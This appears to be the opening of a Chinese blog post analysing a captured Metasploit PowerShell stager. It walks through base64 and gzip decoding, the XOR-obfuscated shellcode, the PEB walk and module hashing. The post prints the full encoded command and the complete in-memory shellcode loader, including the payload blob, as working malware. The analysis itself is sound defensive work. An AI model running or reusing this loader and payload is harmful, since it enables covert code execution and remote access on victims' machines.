作为第一篇博客文章,我觉得分析一个常见的 Metasploit shellcode 会很有意思——这是一个讨论编码、PEB、Windows shellcode 和导出地址表等主题的好机会。
我们从一条截获的长命令行开始:```powershell "powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABXADIALwBpAFMAQgBaACsARAByAC8AQwBEADUARQBBAFEAWQBpAE4AQwBZAEYAZQB0AFQAVAA0AGgAawAzAEEARQBHAHkAdQBtAFMAZwBxADcAQQBJAE0AdgB1AEIAeQBHAFQARABUAC8AZAAvAG4AMgBFAEEAbQB2AFoAMwBlAGIAVwBrAFgAeQBhAEsAcQBmAEsANwBmAHUAZABTAHgAZwBlAG0AZABRAFkAbABqADAAVgA1AGcAWQArAFoAdQBqAEUAbgBrAEIARAA1AFQAegBlAFYAdQBwAFUAQwBqAHoARgBmAG0AagAzAHgAdQBHAGYAcwBXAFQAWQAvAFQAeABkAHMASwAwADcAYwBkAEMAYQB3ADMAWgBOAHMARQBSAHgASAB6AFYAKwA1AG0AZwBBAGoAeQBtAE0ATAB0AEgAcABFADMATAA3AEIAagBGADUAZQBaAGIASgBNAFMAWQBqAHMAbQB1AEgAaAB6AGsANwB2AEoAagBtAEkALwBRAGsAdgA4ADUAaQBQAHEANwBQAEcAYgBoACsAawA2AHMAQwBOAFEAVgBIAGgAcAA3AFgAWgBTADQAQwBIAEgAZgAvADMAeQBSAFkAdwBKAHcAVAA0ADkANwB5AHQAdABUAEYAdABSAGgATAAyAEYANgArAEMAbwBVAEcAUwArAE0AWgBNADEASgB2AGkAdQB2ADkAaABnAGkAegBKAC8ATQBiAGQAdgBsAGIAWQBiAEwASgBCADcASQBVAHQARQBaAEsAMwBCAG8AWgBaAHYAcAArACsANgBnAFkAVgBTAEQAeQByAEcAegBuAFYAbwBJAGYALwBuAG4ALwBuAGkAeQB4ADMAMwBXAHAASABEAEcATABsAFIASQBXADgAawBFAGMAVgBlAHgAWABiAGQAZgBKAEgANQBYAGsAdwBWAG0AcwBrAE8ARgAvAEkAOQB4AHkASgBCAEYAQwB4AHAAWgBlAEwANABmAEwAVQB5AHkAcQB6AFgATQArAE4ANwBaADkAdgB6AHgAWQB0AG4AcQB4ADAAQwBQADMANwB0AFoAQwByADEAegBGAFAASQB3ADMASQBBADIATABUAE8ARwBPAGIATAB6AEUAdQBxADcAKwBYADEAbABmAG4AagAzAFoAcABoADcARgBQAEgAdwB4AFgATgBwADUAZwBFAE8AdwBPAFQAdgBXAFAAaABxAEsASQBpADMAMwBiAHgARQBDACsAQgBMAFIAOQBCACsAUAB4AFYAdgBnAGgARwBFAEUAeABqADQAagBOAFgAVwA0AEIAdgBIADIAeAB4ADQAZABhAFAAWABiAGMATQBjAGwAOQArAFYAKwA1AHIAUQBjAGUASABLADcAaQAvAHkAMQBUADQAeQBBAFIAVQBBADAAcQBLADUAVQB0AE8ALwBBADQAYwB2AFMAeAB2AHoAdQBMAEEAbgBaACsAcwAvADUAQgBjAFIAZgBqADkAbABHAEQARgAzAFAAZgBjAEoANgBsAHEAWQB4AGUAdgBFAE0AVgB2AEYAUABEADkAawBLAHUANQBtADUAdQBYAGIASQBuAEIAbgA4AEkAZwBpAEoAeQBNADcAeQB2AEQAbABwAGsAZQBHAEkARgBvAFEASgBJADAAbgBDAGEASgBjAGYASAAxAG4ALwBpAGMAMQBWADQANQBvAC8ASQB2AEIAWABGAFgAcgBnAHYAUABPAFQAeABuAE8ANwA0AHkATAArAFAAQQBzAFYAOQB6AE4AOABYAGMASgBYAHYAUwA4ADcAZABGADcATABnADIASgB1AG4ANwBYADEAZQBEAGgASgBlAE8AagA2AFgARQBSADUANQBqAFgAUgBPACsAOABGAG4ATQA4AE4ATABGAEcAUgA2AFYASwA1AGsATwBkAGgAYgB5AGwAeABmAFkAbABpADcAbwA1AEYATgBBAFgAMwA1AG0AawB6ADIASAB2AHYATQBLAFoAKwBOAGEARgBzAFEAOQBBAHEAcwBnAEoAWQBvAC8ARwBuAE8ATwBZAFMARwB2ACsAVAAzAHMAQQBYADcAbgBQAGEAVABwADcAUgBMAEsARABGACsAcABMADYAVwBWAFgATABXAG4AKwB6AFMAWABSAFIAZABGAFUAWgBrAFoAeABGAEQAbgBWAHAAawB4AE0ASABLAHgAWABXAFoAYQBmAHUAUgBjAFgAcgBWAGkARwBtAFQATAAvAEQALwBtADkAbQBLAFgATwBoAGEASwA2AEYAWABjAGEALwBFAFQAUwBDACsAcQB4AGMAQwBIAGkAbwBrAHQAaQBDADcAQQBZAEIAbwA3AGIARABuAEkAVABWAEUAcABNADYAcABqAFkAeQBFAHgAbgBOAFgAVgBoAFAAeQBuAG0ASQBqAEkAZABhAEgAawBRAE4ASQBlAFkAZwBJAG4ASwBSAFkARwBUAFgATwBHADIATwBWAC8AegA0ADkAaQB4AGMAQgBVADgAMwBZAHUAOQBvAEEANgA2ADAASwBLAGkAMQBiAFEAYwB5ADQAVgBsAGEAVQBiAFcAbQBFADcALwB4AC8ATQB2AHQAYgBKAHUAUwBoAFMAcgBLADQAZwBmAFQAQQBhAEUAcwBCAHcAQQAxAHAAbQB4AGcANgBoADAATgBmAHkANQBaADgAUwA3ADMAOAB6ADcAOABjAFcAOAA0AE8AWgBJAHMARwBYAFEAQgBhAHkAUQBuAHcAUgBFAHAAcQBXAFMAMABaAHAAcABaAGYATAAxADMAYwBzAE0AKwBRAEkAQgBkAFEAVQBFAG4AZwBDAGkAbgBDADkAWgBtAFIAdAByAEoARABuAEcAMwBHAG8ASgBiADMATgBjADUAMgAwADUAYgAyAGkAaABxAHAAcwB3AHIATwBIAGgAdwA4AFYAdQBkAHYAdABEAEgAZgBDAHMARwB2AEoAYwBYACsAZwBzAHAAMgBsADkAdAB5AFEAYQB2AEUAaAAxAG0ASgBUAFkASABtAEYAQgBiAHAAVAAyAEoAYQBYADIAcgA0AGYAegBMAGoAWQBxADMASAAyAFQAdAB2AHIAYwBCAFkAOQBoAG0AbwBrAGEAWAB1AHAAcABWAGIARABRAEsAbQB2AG4ATwBaAEYAegBwAG4ALwBlAFgASABnAEYAbABOAE4AZQBWAHkAMABsAFoAbwA2AGoAcABTAFUAWAB0AFgAMgBnAGgASwBLAHoAUQBEAFcAOQA5AHAAZQBEAEQAcgBBADEANgBqAHYAZgBPAEYAZwAxADcARABjAHEAZQBOAHAAMQB6AHIAdwB0AEkASABSADYAcABnADgAagBVAHMARwB5ADcAWABIAGkAZAA0AGQAeQB6AHYAZAA4AE8AMwB1AGcAbgB0AFcATwB2AHEAcABtAG8AQgBQADQASgBmAEIAcQAwAFAAVwBoAHMAYwA0AHUAdAB3AGsATQBLADEAbQBGAEsAcQBwAHYAMQBqAG8AaABwAGIAZgA2AFcAaABxAEoAegBFAGUAVgBvADYAVwA2AEEAZQBMAHAAVwB4AEkAVABpADQALwBtAEoAKwBTAHMAQQBIADgAZQBnADAAdwBPAFIAcABKAGIAMQBpAHIAMgAwAGQAcgBxAGgAeQBzAHEAZAA1AE4AMQBKAG4AZQBCAGgAMQBoAFAARgBuAFYAVgBMADAAYgBIAEYAcwBiAHIAVQA0AGsAdwA3AEIAUABoAG4AbgBrAEQARwA3AHUANwB0AEgAVQBhAHYAcQBIAFQATAA5AGgASAB3AC8AMgBLAE8AcAAzAFQARAByAGoAQgA4AGkAcgBKAFkAbABmAE4ANwBTAE4AZAB1AHgAYQBPAHoAcQBlAGQAdQBvAEUASgBlAEsAdQA2ACsAQwBGAHMASwBTAHAAMwBFADUAMwB2AHUAbwAwAFoAVgBqAEwAOQBNAGcAYQB4AGoAQwB4AFEAYQArAHIAbQB0AEkAVAA2AFAAWABGAFgAZwA5ADgAUQBBAC8ASwBiAEkAdgA1AHcAZABOAEUAUAAxAG0AOAAwAEwAVQBTAG8AbwBFAGYAZwA2AGUANgBBADcASQBiAHQATQBmAEQAdQBhAFIAMgBUAE8AegBKAG0ALwBWAGsAdwBYAGIAdgA1ADQANwBxAGoAbwBWAG8ANQBVADMAQgAxAHIAMwBDAEMAcQBqAFoAZgA4AFMAcwBsAGcAagBTAGIATwA2AGIAcABjADcAagBWAGoAZQA1AFcAVwAwAHAAegBzAGEAVwA0AE8AcwB6AGkAUwBUAHgANQBtAEIAVwBSADgAWQB6AEkAYQBFADQAOAA1AHQAMgBTAFYAcgAzAEgAUABOAFEANQBZAGoAcwBEAFoAUwBxAFcATABJADIAVQBwADgAZgBpAEgAcAAxAEoATQArAEgAawB0AGUAUgBoADEAdAB1ADIAbgA3AFcAWQAyAE0AcgBEAEUAMQBGADYAQQAzAEgAVgBuACsAbQBLAEcAagBFADIAYgAyAFoAcgA0AGUAUwBNAE4ASgBsAHAANwBiAFQANgBqAFMAYQArAEYANQBIADIAbABSAFgAdwBpAEgAdwB4AEoAcABMAEgAKwBlAGMAZABQAEsAawBSAGYAdQBoAFcAVwBWADcALwB0AHAAQgBhAHUAZwAxAGgAdwB2AFAAVgA3AGwAQgBzAGcANwBrAGIAYgBjACsAbgBvAHgASABiAHQAUwBVADEAcAB6AFgAdQBwAGYAbABoAGoAbwBYAEoAcQB2ADcASgBoAEcATgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA
这是一个 PowerShell [base64](https://en.wikipedia.org/wiki/Base64) 编码的命令行(由 `-encodedcommand` 标志指示)。解码后,它看起来像这样:```powershell
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
该载荷会再执行一次 base64 解码(针对以 "H4sIA..." 开头的部分),并将其保存到内存流($s)中。然后将其视为压缩的(gzip)流,进行解压,并通过 IEX 执行其内容。解压它非常简单——你可以使用 PowerShell、CyberChef 甚至 Python:```python
import io, gzip, base64
x=b'H4sIAAAAAAAAAK1...' # Omitted
print(gzip.GzipFile(fileobj=io.BytesIO(base64.b64decode(x[:]))).read().decode())
输出包含更多 PowerShell 命令,这次带有更复杂的逻辑:```powershell
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHJTemEjhWb0L/ZiHlVBsgmXSSdvF0Ba9O7e0IyBDYZnT+J7kNT1Y4fCYVcBnNYDryujwT2USQrrqCYn9d+DhMiTw21rEmPF2C+cjDO3PCN2UEZRDmJERk1XGQNuSkBRTFBMRVcOYFFaU1dMYnNqDBUNEi4pI6tsWnmJDj2gBwomC4lt7Z1DzmDbG5920MnhiaHqm9RbmnH1PyhoEkL6VWVUls9Dh1mA/EE8HZBWg/9rCSy35+f0CBtRWnjrSEws6nhZM4a940SVua15GFtCyqNIZhyhEVTYcDjtGtHVxHmF077JuJHBuEOUTgqmEks8Pp1Rr+41ndthyyyaDxNhQXWw8mJztje2Bqltz7iRv3SlMAUrCf/mc3qC20/Zza3a+VD5nPu2Spg76wtWAd+FQCdwPOjtc13+uxTTQmHxi6k291K93rV8AFcDWjdoTnWCmRAhHeu1S1KmttsDzfbrma6W8/PB8GhzXykPT3ltVK5o1OnfETb0Rb/iJoDsBZIjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3EtWUkZKTUANQExOI35n3k4=')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
Let's break it down:
$DoIt 变量包含了大部分逻辑。它定义了一个名为 func_get_proc_address 的函数,该函数只是对 kernel32!GetProcAddress 的封装,并使用 func_get_delegate_type 函数获取一个反射委托。$var_code 变量是又一个 (!) base64 载荷,但这次不那么明显 - 直接尝试解码只会得到乱码。$var_code 变量与值 35 逐字节进行 XOR 运算。这已经解释了为什么解码后得不到任何字符串,但即使在 XOR 之后 - 如果没有正确的上下文,它看起来仍然不太乐观。flAllocationType=0x3000 和 flProtect=0x40 参数被调用来分配一个缓冲区(保存在 $var_buffer 中)。查阅 MSDN 可知,分配类型为 MEM_COMMIT | MEM_RESERVE,页面保护属性为 PAGE_EXECUTEREADWRITE。这告诉我们,base64 编码的载荷应被视为 32 位 shellcode。让我们再次通过对其进行 XOR 运算并写入二进制文件来进行静态分析:```python import base64 x=b'38uqIyMjQ6rGEvFHqHE...' # Omitted open(r'/tmp/payload.bin', 'wb').write(bytes([ i^35 for i in base64.b64decode(x) ]))
乐趣从这里开始。你可以使用自己最喜欢的反汇编器(IDA、Binary Ninja 等)。
如果你不在意 opsec,甚至可以使用一些很棒的[在线反汇编器](https://shell-storm.org/online/Online-Assembler-and-Disassembler)。
shellcode 的起始位置在偏移量 0 处,且该代码应被视为 X86 代码。
## 遍历 PEB
代码以一条 CALL 指令开始:```assembly
0x0000000000000000: FC cld
0x0000000000000001: E8 89 00 00 00 call 0x8f
cld 指令清除方向标志(因此诸如 movsb 之类的字符串操作会向前移动而不是向后移动),然后执行对 0x8f 的相对调用。
由于 call 会将下一条指令压入堆栈,因此我们记得堆栈中被压入的是 shellcode 中偏移量为 6 的地址。
让我们检查偏移量 0x8f 处的代码:```assembly
0x000000000000008f: 5D pop ebp
0x0000000000000090: 68 6E 65 74 00 push 0x74656e
0x0000000000000095: 68 77 69 6E 69 push 0x696e6977
0x000000000000009a: 54 push esp
0x000000000000009b: 68 4C 77 26 07 push 0x726774c
0x00000000000000a0: FF D5 call ebp
立即使用 `pop` 来保存地址是一种常见的 shellcode 编写技巧(`call-pop` 序列)。
接下来的 push 指令很有意思——表面上看它们像是奇怪的常量,但将它们作为 ANSI 字符串解码后会揭示一些有趣的内容:```python
import struct
struct.pack('<LL', 0x696e6977, 0x74656e)
由于我们在查看栈推入操作——我必须按相反顺序提取它们,并确保使用 Little Endian(即代码中的 < 符号)。
这会打印出 b'wininet\x00',它是一个用于 Internet 通信的 Windows DLL 的名称。
注意,push esp 会推入栈顶的地址,这是获取指向 wininet NUL 结尾字符串的指针的一个好方法。
接下来,我们推入另一个常量(0x726774c)——这个常量不能解码成任何有意义的内容,然后调用 ebp。记住,ebp 指向 shellcode 起始处偏移量为 6 的一段代码,所以让我们检查一下那部分!
偏移量 6 处的代码以几条有趣的指令开始:```assembly
0x0000000000000006: 60 pushad
0x0000000000000007: 89 E5 mov ebp, esp
0x0000000000000009: 31 D2 xor edx, edx
0x000000000000000b: 64 8B 52 30 mov edx, dword ptr fs:[edx + 0x30]
0x000000000000000f: 8B 52 0C mov edx, dword ptr [edx + 0xc]
0x0000000000000012: 8B 52 14 mov edx, dword ptr [edx + 0x14]
0x0000000000000015: 8B 72 28 mov esi, dword ptr [edx + 0x28]
0x0000000000000018: 0F B7 4A 26 movzx ecx, word ptr [edx + 0x26]
在简单的序言(将所有寄存器压栈并创建新的栈帧)之后,我们看到 `edx` 被清零(通过自身异或)。
然后,`edx` 获取 `fs:[0x30]` 的地址。该地址是 [Process Environment Block (PEB)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb)。
PEB 是用户模式中的一个块,包含可供进程使用的有用数据,包括其命令行、调试状态、已加载模块等。它是一种性能优化,旨在避免不必要的内核系统调用。
我们看到引用了几个地址——在 IDA 中你可以加载 PEB 结构,但为了完整性:
- 偏移量 0xc 是 `PEB` 的 `LDR` 成员,其类型为 `PPEB_LDR_DATA`,相关文档见 [此处](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data)。
- `PEB_LDR_DATA` 结构中的偏移量 0x14 是 `InMemoryOrderModuleList` 成员,类型为 `LIST_ENTRY`。`LIST_ENTRY` 结构在 Windows 中被广泛使用,通常只是更大结构中的一个头部。这种情况也不例外——条目的真实类型是 `LDR_DATA_TABLE_ENTRY`。
- 在 `LDR_DATA_TABLE_ENTRY` 的偏移量 0x24 处,存在一个类型为 `UNICODE_STRING` 的成员 `FullDllName`。该类型在 Windows 中被广泛使用,本质上是一个 Pascal 字符串的容器——前两个 WORD 描述字符串的长度及其缓冲区容量。因此,在 0x28 处我们将绑定实际的缓冲区——该缓冲区将保存在 `esi` 寄存器中。
- `ecx` 寄存器位于 DLL 名称缓冲区之前 2 字节处——包含字符串的长度。
总而言之,整个代码块获取当前 PEB 模块条目中的 `FullDllName`——将缓冲区保存在 `esi` 中,并将其长度保存在 `ecx` 中。
## 模块名称哈希计算
让我们看看接下来的几条指令:```assembly
0x000000000000001c: 31 FF xor edi, edi
0x000000000000001e: 31 C0 xor eax, eax
0x0000000000000020: AC lodsb al, byte ptr [esi]
0x0000000000000021: 3C 61 cmp al, 0x61
0x0000000000000023: 7C 02 jl 0x27
0x0000000000000025: 2C 20 sub al, 0x20
